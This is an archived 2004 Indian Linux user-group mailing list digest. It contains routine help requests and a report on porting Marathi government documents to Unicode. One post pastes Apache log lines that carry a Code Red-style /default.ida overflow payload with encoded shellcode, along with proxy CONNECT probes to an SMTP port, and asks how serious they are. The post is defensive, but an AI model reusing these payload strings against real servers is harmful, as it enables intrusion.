Linuxers February 2004

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eBooks n Firewall / Perl Programming
by richard forester 16 Feb '04

16 Feb '04

Hello All, Need a good eBook on Firewall (IPTables) & Perl programming. Some pointers / links are deeply thanked. regards, Rich. _________________________________________________________________ STOP MORE SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail

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Binary File storing in MySQL
by richard forester 16 Feb '04

16 Feb '04

Hello All, I need to store binary (tar.gz) files in MySQL database. Can someone pls help with the syntax for Table creation & one insert command. Deep appreciation & Thx in advance. regards, Rich _________________________________________________________________ Tired of spam? Get advanced junk mail protection with MSN 8. http://join.msn.com/?page=features/junkmail

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IOCTL related query
by Nasikkar,Ashutosh 16 Feb '04

16 Feb '04

Hi ppl, I am facing a issue in IOCTL calls. IOCTL accepts user space data and gives it to kernel space, for a kernel module's execution. There appears to be a limit of 4096 bytes which can be copied from user space to kernel space in this IOCTL call. I would like to increase this limit of 4096 bytes. If anyone has faced this problem then kindly let me know how does one go about solving it. Awaiting help, Ashutosh.

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Re: [Fwd: regards meeting and Redundant Clusters]
by Trevor Warren 16 Feb '04

16 Feb '04

Amish...;) On 2004.02.01 11:59 Amish Munshi wrote: > On Sunday 01 Feb 2004 11:45 am, you wrote: > > You are invited for the seminar. Thanks for coming > forward and sharing the > knowledge. [snip] Needn't be so formal amish. We have been quite long here to warrant that!!!...:) Trevor -- ( >- -< ) /~\ __ Gnu/Linux, Its all about Choice __ /~\ | \) / trevor.w(a)pvision.biz \ (/ | |_|_ \ Need a consultant, Call 9820349221 / _|_| \____________________________________/

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Free Software in a Maharashtra Govt Department
by jitendras＠vsnl.com 15 Feb '04

15 Feb '04

Implementation of Unicode Porting For Marathi using Free Software in a Maharashtra Govt Department Background Over the decade and a half in the past, indian IT industry driven by Central govt efforts and lead by C-DAC, NCST , IIT kanpur and other instituions, has done a commendable job of introducing local scripts on DOS and Windows platforms etc. So long as the computers were confined to typing and printing , and that too largely within the confines of an office or an enterprise, the ad-hoc i.e. Non-standard approaches followed were infact an unexpected delight! However now that the demands for indian language working are for computing ( which includes searching and sorting) , for communication across networks and across platforms and across applications the non-standard approaches are a problem. On top of it , due to globalisation , there is need for multilingual documents i,e a document simultaneously containing many languages including chinese/japanese and european etc . The need to create webpages with such multilingual content with interactions leaves very little scope o f choice other than unicode. Thus the old font-encoded content will simply not do. However many governement organisations , with progressive bureacrats wanting to change over to this modern format are blocked in the path by the huge legacy of documents in older formats. Hence the capability to transform the old content to unicode is a crucial requrement. Those who want to convert to use of Opensource software technologies are posed witth this problem even more acutely.There is not even that little chance of using old font-encoded content as may be available for the Proporietory software users. This felt need lead us to the project of porting to unicode in Directorate of IT in Maharastra Govt. As is well known , the Govt of Maharashtra is not only a leading state in the field of Finance and industry but also in the field of IT and e-governance. What is the Significance of this project ? This project of converting to unicod is , as far as we know, for the first time that a government body has undertaken to convert to unicode and that too on Free Software. 1.The most important effect of this will be to open the possibility to shift to OpenSource software by the governments or any other corporate body who have accumulated a lot of content in old font-encoded formats. This does not prevent anyone to work with (more recent versions of) proprietory software like Microsoft Windows 2000 onwards. In fact it is a necessary requirement for many of them. 2.The other significant advantage will be that cost of working in indian languages will be reduced drastically. 3.Thirdly all the content(information and data) will be available in sortable and searchable global format which is what unicode enables. This will fulfill a long-term requirement of many departments of IT in many governemnts and Publicsector organsiations. What we have Accomplished Government of Maharastra , being particular about standards, chose the best option of standardising on the government organisation like C-DAC and workind with ISM software and ISFOC fonts. They used the Lotus Word Pro software and Microsoft Word ediors enabled with marathi by ISM and iPlugin of C-DAC. We have converted this Marathi content originally created in various ISFOCfonts of C-DAC ( using ISM and I-Plugin in several proprietory softwares) into unicode based, open type fonts which have been developed and made freely available by us We had to convert the legacy documents into new encoding , integrate the same with existing Database of the Govt.(DJMS =Document Journey management Sysytem) . We worked with one department to start with, i.e. Directorate of IT . We have also installed opesource software i.e OpenOffice 1.1 in some machines and demonstrated its use and trained some people so that all fresh work can begin in unicode now. Task of making the Database metafiles in unicode has also been completed . Underestimation: Initially the department estimated about 1000 files to be converted. However , we have had to deal with about 6700 files , identified and picked out the files that required convesions and converted about 2000 files. For actual work see the table above for work accomplished. File Types and fonts: We converted files with tables 9real painful) and without tables, from Lotus Word Processor, MSWord, Power Point, EXCEL etc and using DV-TT, DVB-TT and DVBW fonts. Font Developed : We have also developed gargi font. Initiated By Dr Nagarjun of Free Software Foundation(India) , right from the beginning (july 2002 ) our personnel developed and now we at indictrans maintain the font.During conversion we came across some deficienciesin the font. See our site for the more complete snapshots of performance of our fonts in all platforms and applications. We have also developed a Gujarati font padmaa (Prof Jitendra Shah's mother's name) We have translated the GUI messages In Marathi and Gujarati , (while modified IndLinux) Hindi . Other Localisations achieved: As linuxers know , we have come out with a live, bootable CD enabled in 4 languages, Hindi, Marathi and Gujarati with Debian GNU/Linux operating system and OpenOffice , Mozilla and other software. This is known s gnubhaaratii and has tutorials embedded in it. See www.indictrans.org for more details. We have translated GUI messsages in marathi, Gujarati for GNOME 2.4 and have modified some translations for Hindi as coordinated by IndLinux. We have also localsed DrGeo and other small software to show proof of concept of how to localise programs. We maintain a website as a collaboration platform www.indictrans.org jitendra

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Debian Sarge and Sid
by jtd 15 Feb '04

15 Feb '04

Hi all does any one have Sarge and Sid cds. Also kde 3.2 debs. My disk crashed and i need to reinstall.

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thanks mejo
by manoj bohara 14 Feb '04

14 Feb '04

dear mejo i read your mail today .thanks for your reply and advice.once again thanks alot. Yahoo! India Insurance Special: Be informed on the best policies, services, tools and more.

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samba
by pramila 14 Feb '04

14 Feb '04

Hello, i configured samba server on redhat9 now i can mount drives of win machine in LAN but on win machine i am getting only icon for linux machine when tried to open, i gives error, machine not accessible plz help me Pramila --------------------------------- Do you Yahoo!? Yahoo! Finance: Get your refund fast by filing online

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Server Compromise?
by Siddhesh Poyarekar 14 Feb '04

14 Feb '04

I was just casually checking my access logs on Apache (v1.3.29 on Debian GNU/Linux testing/unstable) and found the following: Part 1: 10.10.180.2 - - [08/Feb/2004:17:47:37 +0530] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 271 "-" "-" 10.10.180.2 - - [08/Feb/2004:19:17:29 +0530] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 271 "-" "-" 10.10.73.21 - - [08/Feb/2004:19:32:07 +0530] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 271 "-" "-" 10.10.73.21 - - [08/Feb/2004:19:56:16 +0530] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 271 "-" "-" 10.10.73.21 - - [08/Feb/2004:20:17:33 +0530] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 271 "-" "-" 10.10.180.2 - - [08/Feb/2004:20:45:28 +0530] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 271 "-" "-" 10.10.180.2 - - [08/Feb/2004:21:12:51 +0530] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 271 "-" "-" Part 2: 211.161.172.142 - - [09/Feb/2004:02:09:21 +0530] "\x04\x01" 501 - "-" "-" 211.161.172.142 - - [09/Feb/2004:02:09:41 +0530] "\x05\x01" 501 - "-" "-" 211.161.172.142 - - [09/Feb/2004:02:09:45 +0530] "CONNECT 211.150.96.21:25 HTTP/1.1" 405 313 "-" "-" >From what I know, in Part 1, someone is trying to cause some kind of overflow with the request string and in part 2 someone is trying to access another system's SMTP port through my web server. What I want to know is that is it possible to know whether the cracker was successful in his attempts and secondly, how much of a threat this is to me. And also, is there a way to identify a network (location, names, etc) from its IP address. I'd like to track this guy down to find out who he is. Regards, Siddhesh. Siddhesh Poyarekar sssp(a)softhome.net Fortune Says: You will get what you deserve.

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[ILUG-BOM] Need help on connecting Broadband pacenet to RedHat linux 9
by rohit baisakhiya 13 Feb '04

13 Feb '04

hello Trevor, I missed out the previous mail of ur's on the list.Would you please help on connect Broadband pacenet(using pppoe) to My RedHat linux 9 Box. If possible please mail me procedure in detail. Thanks in advance. Rohit Baisakhiya. __________________________________ Do you Yahoo!? Yahoo! Finance: Get your refund fast by filing online. http://taxes.yahoo.com/filing.html

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Linuxers February 2004